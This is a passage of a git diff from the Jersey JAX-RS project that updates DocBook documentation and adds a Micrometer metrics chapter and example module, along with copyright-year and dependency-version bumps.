+                            </para>
+                        </entry>
+                    </row>
                 </tbody>
             </tgroup>
         </table>
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml
index 1c0e17f..b496268 100644
--- a/docs/src/main/docbook/client.xml
+++ b/docs/src/main/docbook/client.xml
@@ -661,6 +661,11 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry>
                         </row>
                         <row>
+                            <entry>Jetty HTTP/2 client</entry>
+                            <entry>&jersey.jetty.JettyHttp2ConnectorProvider;</entry>
+                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-http2-connector</literal></entry>
+                        </row>
+                        <row>
                             <entry>Netty NIO framework</entry>
                             <entry>&jersey.netty.NettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-netty-connector</literal></entry>
diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent
index 99dc355..69217f0 100644
--- a/docs/src/main/docbook/jersey.ent
+++ b/docs/src/main/docbook/jersey.ent
@@ -112,6 +112,8 @@
 <!ENTITY helidon.link "<link xlink:href='https://helidon.io/'>Helidon</link>">
 <!ENTITY smallrye.link "<link xlink:href='https://smallrye.io/'>SmallRye</link>">
 <!ENTITY yasson.link "<link xlink:href='https://eclipse-ee4j.github.io/yasson/'>Yasson</link>">
+<!ENTITY micrometer.link "<link xlink:href='https://micrometer.io/'>Micrometer project</link>">
+<!ENTITY micrometer.jersey.link "<link xlink:href='https://micrometer.io/docs/ref/jetty'>Micrometer Jersey/Jetty support</link>">
 
 <!-- API Docs links -->
 <!ENTITY bv.Configuration "<link xlink:href='&bv30.javadoc.uri;/jakarta/validation/configuration'>Configuration</link>">
@@ -353,6 +355,7 @@
 <!ENTITY jersey.client.ClientProperties.READ_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#READ_TIMEOUT'>ClientProperties.READ_TIMEOUT</link>" >
 <!ENTITY jersey.client.ClientProperties.REQUEST_ENTITY_PROCESSING "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#REQUEST_ENTITY_PROCESSING'>ClientProperties.REQUEST_ENTITY_PROCESSING</link>" >
 <!ENTITY jersey.client.ClientProperties.SUPPRESS_HTTP_COMPLIANCE_VALIDATION "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#SUPPRESS_HTTP_COMPLIANCE_VALIDATION'>ClientProperties.SUPPRESS_HTTP_COMPLIANCE_VALIDATION</link>" >
+<!ENTITY jersey.client.ClientProperties.SSL_CONTEXT_SUPPLIER "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#SSL_CONTEXT_SUPPLIER'>ClientProperties.SSL_CONTEXT_SUPPLIER</link>" >
 <!ENTITY jersey.client.ClientProperties.USE_ENCODING "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#USE_ENCODING'>ClientProperties.USE_ENCODING</link>" >
 <!ENTITY jersey.client.ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#DIGESTAUTH_URI_CACHE_SIZELIMIT'>ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT</link>" >
 <!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE'>ClientProperties.EXPECT_100_CONTINUE</link>" >
@@ -477,6 +480,7 @@
 <!ENTITY jersey.jetty.JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" >
 <!ENTITY jersey.jetty.JettyClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#TOTAL_TIMEOUT'>JettyClientProperties.TOTAL_TIMEOUT</link>" >
 <!ENTITY jersey.jetty.JettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyConnectorProvider.html'>JettyConnectorProvider</link>">
+<!ENTITY jersey.jetty.JettyHttp2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/http2/connector/JettyConnectorProvider.html'>JettyHttp2ConnectorProvider</link>">
 <!ENTITY jersey.jetty.JettyHttpContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainer.html'>JettyHttpContainer</link>">
 <!ENTITY jersey.jetty.JettyHttpContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerFactory.html'>JettyHttpContainerFactory</link>">
 <!ENTITY jersey.jetty.JettyHttpContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerProvider.html'>JettyHttpContainerProvider</link>">
@@ -531,6 +535,13 @@
 <!ENTITY jersey.media.multipart.StreamDataBodyPart "<link xlink:href='&jersey.javadoc.uri.prefix;/media/multipart/file/StreamDataBodyPart.html'>StreamDataBodyPart</link>" >
 <!ENTITY jersey.message.MessageBodyWorkers "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageBodyWorkers.html'>MessageBodyWorkers</link>">
 <!ENTITY jersey.message.MessageProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html'>MessageProperties</link>">
+<!ENTITY jersey.message.MessageProperties.DEFLATE_WITHOUT_ZLIB "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#DEFLATE_WITHOUT_ZLIB'>MessageProperties.DEFLATE_WITHOUT_ZLIB</link>">
+<!ENTITY jersey.message.MessageProperties.IO_BUFFER_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#IO_BUFFER_SIZE'>MessageProperties.IO_BUFFER_SIZE</link>">
+<!ENTITY jersey.message.MessageProperties.IO_DEFAULT_BUFFER_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#IO_DEFAULT_BUFFER_SIZE'>MessageProperties.IO_DEFAULT_BUFFER_SIZE</link>">
+<!ENTITY jersey.message.MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#JAXB_PROCESS_XML_ROOT_ELEMENT'>MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT</link>">
+<!ENTITY jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#JSON_MAX_STRING_LENGTH'>MessageProperties.JSON_MAX_STRING_LENGTH</link>">
+<!ENTITY jersey.message.MessageProperties.XML_SECURITY_DISABLE "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#XML_SECURITY_DISABLE'>MessageProperties.XML_SECURITY_DISABLE</link>">
+<!ENTITY jersey.message.MessageProperties.XML_FORMAT_OUTPUT "<link xlink:href='&jersey.javadoc.uri.prefix;/message/MessageProperties.html#XML_FORMAT_OUTPUT'>MessageProperties.XML_FORMAT_OUTPUT</link>">
 <!ENTITY jersey.message.filtering.AbstractEntityProcessor "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/spi/AbstractEntityProcessor.html'>AbstractEntityProcessor</link>">
 <!ENTITY jersey.message.filtering.AbstractObjectProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/spi/AbstractObjectProvider.html'>AbstractObjectProvider</link>">
 <!ENTITY jersey.message.filtering.EntityFiltering "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/EntityFiltering.html'>@EntityFiltering</link>">
@@ -544,10 +555,13 @@
 <!ENTITY jersey.message.filtering.SecurityEntityFilteringFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/SecurityEntityFilteringFeature.html'>SecurityEntityFilteringFeature</link>">
 <!ENTITY jersey.message.filtering.SelectableEntityFilteringFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/message/filtering/SelectableEntityFilteringFeature.html'>SelectableEntityFilteringFeature</link>">
 <!ENTITY jersey.netty.NettyClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html'>NettyClientProperties</link>" >
+<!ENTITY jersey.netty.NettyClientProperties.FILTER_HEADERS_FOR_PROXY "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#FILTER_HEADERS_FOR_PROXY'>NettyClientProperties.FILTER_HEADERS_FOR_PROXY</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#IDLE_CONNECTION_PRUNE_TIMEOUT'>NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.MAX_CONNECTIONS "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_CONNECTIONS'>NettyClientProperties.MAX_CONNECTIONS</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.MAX_CONNECTIONS_TOTAL "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_CONNECTIONS_TOTAL'>NettyClientProperties.MAX_CONNECTIONS_TOTAL</link>" >
 <!ENTITY jersey.netty.NettyClientProperties.MAX_REDIRECTS "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#MAX_REDIRECTS'>NettyClientProperties.MAX_REDIRECTS</link>" >
+<!ENTITY jersey.netty.NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#PRESERVE_METHOD_ON_REDIRECT'>NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT</link>" >
+<!ENTITY jersey.netty.NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyClientProperties.html#EXPECT_100_CONTINUE_TIMEOUT'>NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT</link>" >
 <!ENTITY jersey.netty.NettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/netty/connector/NettyConnectorProvider.html'>NettyConnectorProvider</link>">
 <!ENTITY jersey.server.ApplicationHandler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ApplicationHandler.html'>ApplicationHandler</link>">
 <!ENTITY jersey.server.BackgroundScheduler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/BackgroundScheduler.html'>@BackgroundScheduler</link>">
diff --git a/docs/src/main/docbook/media.xml b/docs/src/main/docbook/media.xml
index f830e90..6849118 100644
--- a/docs/src/main/docbook/media.xml
+++ b/docs/src/main/docbook/media.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" standalone="no"?>
 <!--
 
-    Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -1151,7 +1151,15 @@
                     </para>
                 </formalpara>
             </section>
+        </section>
+        <section xml:id="json.configuration">
+            <title>Properties for configuring JSON providers</title>
 
+            <para>
+                Apart from using &lit.jaxrs.ext.ContextResolver; for configuring directly the specific JSON provider classes,
+                Jersey supports additional configuration properties prefixed by <literal>JSON</literal> that are available in
+                <xref linkend="appendix-properties-message">the appendix.</xref>
+            </para>
         </section>
     </section>
 
@@ -1478,6 +1486,15 @@
     ));</programlisting>
             </example>
         </section>
+        <section xml:id="jaxb.configuration">
+            <title>Properties for configuring XML providers</title>
+
+            <para>
+                Apart from using &lit.jaxrs.ext.ContextResolver; for configuring directly the specific JSON provider classes,
+                Jersey supports additional configuration properties prefixed by <literal>JAXB</literal> and <literal>XML</literal>
+                that are available in <xref linkend="appendix-properties-message">the appendix.</xref>
+            </para>
+        </section>
     </section>
 
     <section xml:id="multipart">
diff --git a/docs/src/main/docbook/micrometer.xml b/docs/src/main/docbook/micrometer.xml
new file mode 100644
index 0000000..f09375e
--- /dev/null
+++ b/docs/src/main/docbook/micrometer.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE chapter [<!ENTITY % ents SYSTEM "jersey.ent" > %ents; ]>
+<chapter xmlns="http://docbook.org/ns/docbook"
+         version="5.0"
+         xml:lang="en"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xmlns:xi="http://www.w3.org/2001/XInclude"
+         xmlns:xlink="http://www.w3.org/1999/xlink"
+         xsi:schemaLocation="http://docbook.org/ns/docbook http://docbook.org/xml/5.0/xsd/docbook.xsd
+                             http://www.w3.org/1999/xlink http://www.w3.org/1999/xlink.xsd"
+         xml:id="jersey-micrometer">
+    <title>Micrometer - application observability facade</title>
+    <para>
+        The chapter is about Micrometer integration into Jersey which comes since the version 2.41 as an extension module.
+        Before Jersey 2.41, it was possible to integrate Micrometer with Jersey using directly &micrometer.jersey.link;.
+        There is also support for Jakarta EE 10 integration. The detailed documentation regarding metrics fine-tuning
+        can be found at the &micrometer.link;.
+    </para>
+    <section xml:id="micrometer-integration">
+        <title>Integration into Jersey</title>
+        <para>
+            Since Jersey 2.41 it's possibly to use an extension module in order to use Micrometer instrumentation
+            inside your projects. The module shall be added as a dependency:
+            <programlisting language="xml" linenumbering="unnumbered">&lt;dependency>
+   &lt;groupId>org.glassfish.jersey.ext.micrometer&lt;/groupId>
+   &lt;artifactId>jersey-micrometer&lt;/artifactId>
+   &lt;version>&version;&lt;/scope>
+&lt;/dependency></programlisting>
+            After the dependency is added, the Micrometer can be configured as follows:
+            <programlisting language="java" linenumbering="unnumbered">final ResourceConfig resourceConfig = new ResourceConfig();
+resourceConfig.register(new MetricsApplicationEventListener(
+                registry,
+                new DefaultJerseyTagsProvider(), "http.shared.metrics", true));
+final ServletContainer servletContainer = new ServletContainer(resourceConfig);</programlisting>
+            the registry instance is of type <literal>MeterRegistry</literal> which could be
+            <literal>new SimpleMeterRegistry();</literal>. Then all metrics can be accessed like
+            <literal>registry.get("http.shared.metrics")</literal>. The "http.shared.metrics" string
+            is the name of a particular registry which was registered within the
+            <literal>MetricsApplicationEventListener</literal>.
+
+            Micrometer supports a set of <literal>Meter</literal> primitives, including <literal>Timer</literal>,
+            <literal>Counter</literal>, <literal>Gauge</literal>, <literal>DistributionSummary</literal>,
+            <literal>LongTaskTimer</literal>, <literal>FunctionCounter</literal>, <literal>FunctionTimer</literal>,
+            and <literal>TimeGauge</literal>.
+            Different meter types result in a different number of time series metrics. For example, while there is
+            a single metric that represents a <literal>Gauge</literal>, a <literal>Timer</literal> measures both the
+            count of timed events and the total time of all timed events.
+        </para>
+        <para>
+            Implementing resource methods, which should be measured, several annotations can be used. The basic example
+            demonstrates the <literal>@Counted</literal> annotation.
+            <example>
+                <title>Annotated Micrometer resource methods</title>
+                <programlisting language="java" linenumbering="unnumbered">@GET
+@Counted(value = COUNTER_NAME, description = COUNTER_DESCRIPTION)
+@Produces(MediaType.TEXT_PLAIN)
+@Path("counted")
+public String getCounterMessage() {
+        return "Requests to this method are counted. Use /metrics to see more";
+}
+                </programlisting>
+            </example>
+            Metrics however can be introduced using another annotations <literal>@Timed</literal>, or
+            <literal>@TimedSet</literal> which is a set of <literal>@Timed</literal>.
+        </para>
+    </section>
+</chapter>
\ No newline at end of file
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml
index c7deae9..5981ced 100644
--- a/docs/src/main/docbook/modules.xml
+++ b/docs/src/main/docbook/modules.xml
@@ -116,6 +116,14 @@
 </row>
 <row>
 <entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-http2/dependencies.html">
+    jersey-container-jetty-http2
+</link>
+</entry>
+<entry>Jetty HTTP/2 Container</entry>
+</row>
+<row>
+<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-servlet/dependencies.html">
     jersey-container-jetty-servlet
 </link>
@@ -178,6 +186,14 @@
         <tbody>
 <row>
 <entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-apache5-connector/dependencies.html">
+    jersey-apache5-connector
+</link>
+</entry>
+<entry>Jersey Client Transport via Apache 5</entry>
+</row>
+<row>
+<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-apache-connector/dependencies.html">
     jersey-apache-connector
 </link>
@@ -194,6 +210,14 @@
 </row>
 <row>
 <entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-helidon-connector/dependencies.html">
+    jersey-helidon-connector
+</link>
+</entry>
+<entry>Jersey Client Transport via Helidon</entry>
+</row>
+<row>
+<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jdk-connector/dependencies.html">
     jersey-jdk-connector
 </link>
@@ -209,6 +233,14 @@
 <entry>Jersey Client Transport via Jetty (for JDK 11+)</entry>
 </row>
 <row>
+    <row>
+        <entry>
+            <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty-http2-connector/dependencies.html">
+                jersey-jetty-http2-connector
+            </link>
+        </entry>
+        <entry>Jersey Client Transport via Jetty (for JDK 11+) with HTTP/2 support</entry>
+    </row>
 <entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-netty-connector/dependencies.html">
     jersey-netty-connector
@@ -390,6 +422,30 @@
 </row>
 <row>
 <entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-micrometer/dependencies.html">
+    jersey-micrometer
+</link>
+</entry>
+<entry>Jersey extension module providing support for Micrometer.</entry>
+</row>
+<row>
+<entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/project/jersey-mp-config/dependencies.html">
+    jersey-mp-config
+</link>
+</entry>
+<entry>Jersey extension module providing support for MicroProfile Configuration.</entry>
+</row>
+<row>
+<entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/project/jersey-mp-rest-client/dependencies.html">
+    jersey-mp-rest-client
+</link>
+</entry>
+<entry>Jersey extension module providing support for MicroProfile REST Client.</entry>
+</row>
+<row>
+<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-mvc/dependencies.html">
     jersey-mvc
 </link>
diff --git a/docs/src/main/docbook/user-guide.xml b/docs/src/main/docbook/user-guide.xml
index 34da07a..3f03d55 100644
--- a/docs/src/main/docbook/user-guide.xml
+++ b/docs/src/main/docbook/user-guide.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -105,6 +105,7 @@
     <xi:include href="declarative-linking.xml" />
     <xi:include href="resource-builder.xml" />
     <xi:include href="mp-config.xml" />
+    <xi:include href="micrometer.xml" />
     <xi:include href="sse.xml" />
     <xi:include href="security.xml" />
     <xi:include href="wadl.xml" />
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index 3e11501..0162dc6 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -71,10 +71,10 @@
 * Project: http://www.javassist.org/
 * Copyright (C) 1999- Shigeru Chiba. All Rights Reserved.
 
-Jackson JAX-RS Providers Version 2.14.1
+Jackson JAX-RS Providers Version 2.15.2
 * License: Apache License, 2.0
 * Project: https://github.com/FasterXML/jackson-jaxrs-providers
-* Copyright: (c) 2009-2011 FasterXML, LLC. All rights reserved unless otherwise indicated.
+* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated.
 
 jQuery v1.12.4
 * License: jquery.org/license
@@ -96,7 +96,7 @@
 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS
 * Copyright: Eric Rowell
 
-org.objectweb.asm Version 9.5
+org.objectweb.asm Version 9.6
 * License: Modified BSD (https://asm.ow2.io/license.html)
 * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved.
 
diff --git a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties
index 6d2c053..f69e1b0 100644
--- a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties
+++ b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,6 +11,5 @@
 Args=-H:EnableURLProtocols=http,https \
   --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
   -H:+ReportExceptionStackTraces \
-  --verbose \
   --no-fallback \
   --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties
index 6d2c053..f69e1b0 100644
--- a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties
+++ b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,6 +11,5 @@
 Args=-H:EnableURLProtocols=http,https \
   --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
   -H:+ReportExceptionStackTraces \
-  --verbose \
   --no-fallback \
   --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties
index 6d2c053..f69e1b0 100644
--- a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties
+++ b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,6 +11,5 @@
 Args=-H:EnableURLProtocols=http,https \
   --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
   -H:+ReportExceptionStackTraces \
-  --verbose \
   --no-fallback \
   --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/micrometer/README.MD b/examples/micrometer/README.MD
new file mode 100644
index 0000000..ea0e16c
--- /dev/null
+++ b/examples/micrometer/README.MD
@@ -0,0 +1,56 @@
+[//]: # " Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " "
+[//]: # " This program and the accompanying materials are made available under the "
+[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
+[//]: # " http://www.eclipse.org/org/documents/edl-v10.php. "
+[//]: # " "
+[//]: # " SPDX-License-Identifier: BSD-3-Clause "
+
+jersey-micrometer-webapp
+==========================================================
+
+This example demonstrates basics of Micrometer Jersey integration
+
+Contents
+--------
+
+The mapping of the URI path space is presented in the following table:
+
+URI path                                   | Resource class            | HTTP methods
+------------------------------------------ | ------------------------- | --------------
+**_/micro/timed_**                            | MeasuredTimedResource            | GET
+**_/micro/metrics_**                            | MetricsResource            | GET
+**_/micro/summary_**                            | SummaryResource            | GET
+
+Sample Response
+---------------
+
+```html
+--- (micro/timed)
+Requests to this method are measured. Use /init to see more
+---- (micro/metrics)
+Static meters are initialized, try summary. If you want more measurements just refresh this page several times.
+---- (micro/summary)
+Listing available meters
+Many occurrences of the same name means that there are more meters which could be used with different tags, but this is actually a challenge to handle all available metrics :
+http.timers;
+http.shared.metrics;
+Counts to the init page: 2, time spent on requests to the init page (millis): 2.759025
+Requests to 'measure/timed' counts: 2, total time (millis): 40.110161
+```
+
+
+Running the Example
+-------------------
+
+Run the example using [Grizzly](https://javaee.github.io/grizzly/) container as follows:
+
+>     mvn clean compile exec:java
+
+- <http://localhost:8080/micro/metrics>
+- after few request to the main page go to the url
+- <http://localhost:8080/micro/timed>
+- and see the responses from available resource pages 
+- then go to the 
+- <http://localhost:8080/micro/summary>
+- and see statistics for the micro/meter page
\ No newline at end of file
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml
new file mode 100644
index 0000000..cca0c0d
--- /dev/null
+++ b/examples/micrometer/pom.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Distribution License v. 1.0, which is available at
+    http://www.eclipse.org/org/documents/edl-v10.php.
+
+    SPDX-License-Identifier: BSD-3-Clause
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.examples</groupId>
+        <artifactId>project</artifactId>
+        <version>3.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-micrometer-webapp</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-micrometer-example-webapp</name>
+
+    <description>Micrometer/Jersey metrics basic example</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-grizzly2-http</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-servlet</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.ext</groupId>
+            <artifactId>jersey-micrometer</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.inject</groupId>
+            <artifactId>jersey-hk2</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>exec-maven-plugin</artifactId>
+                <configuration>
+                    <mainClass>org.glassfish.jersey.examples.micrometer.App</mainClass>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>pre-release</id>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>xml-maven-plugin</artifactId>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-assembly-plugin</artifactId>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+</project>
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java
new file mode 100644
index 0000000..3e4f465
--- /dev/null
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java
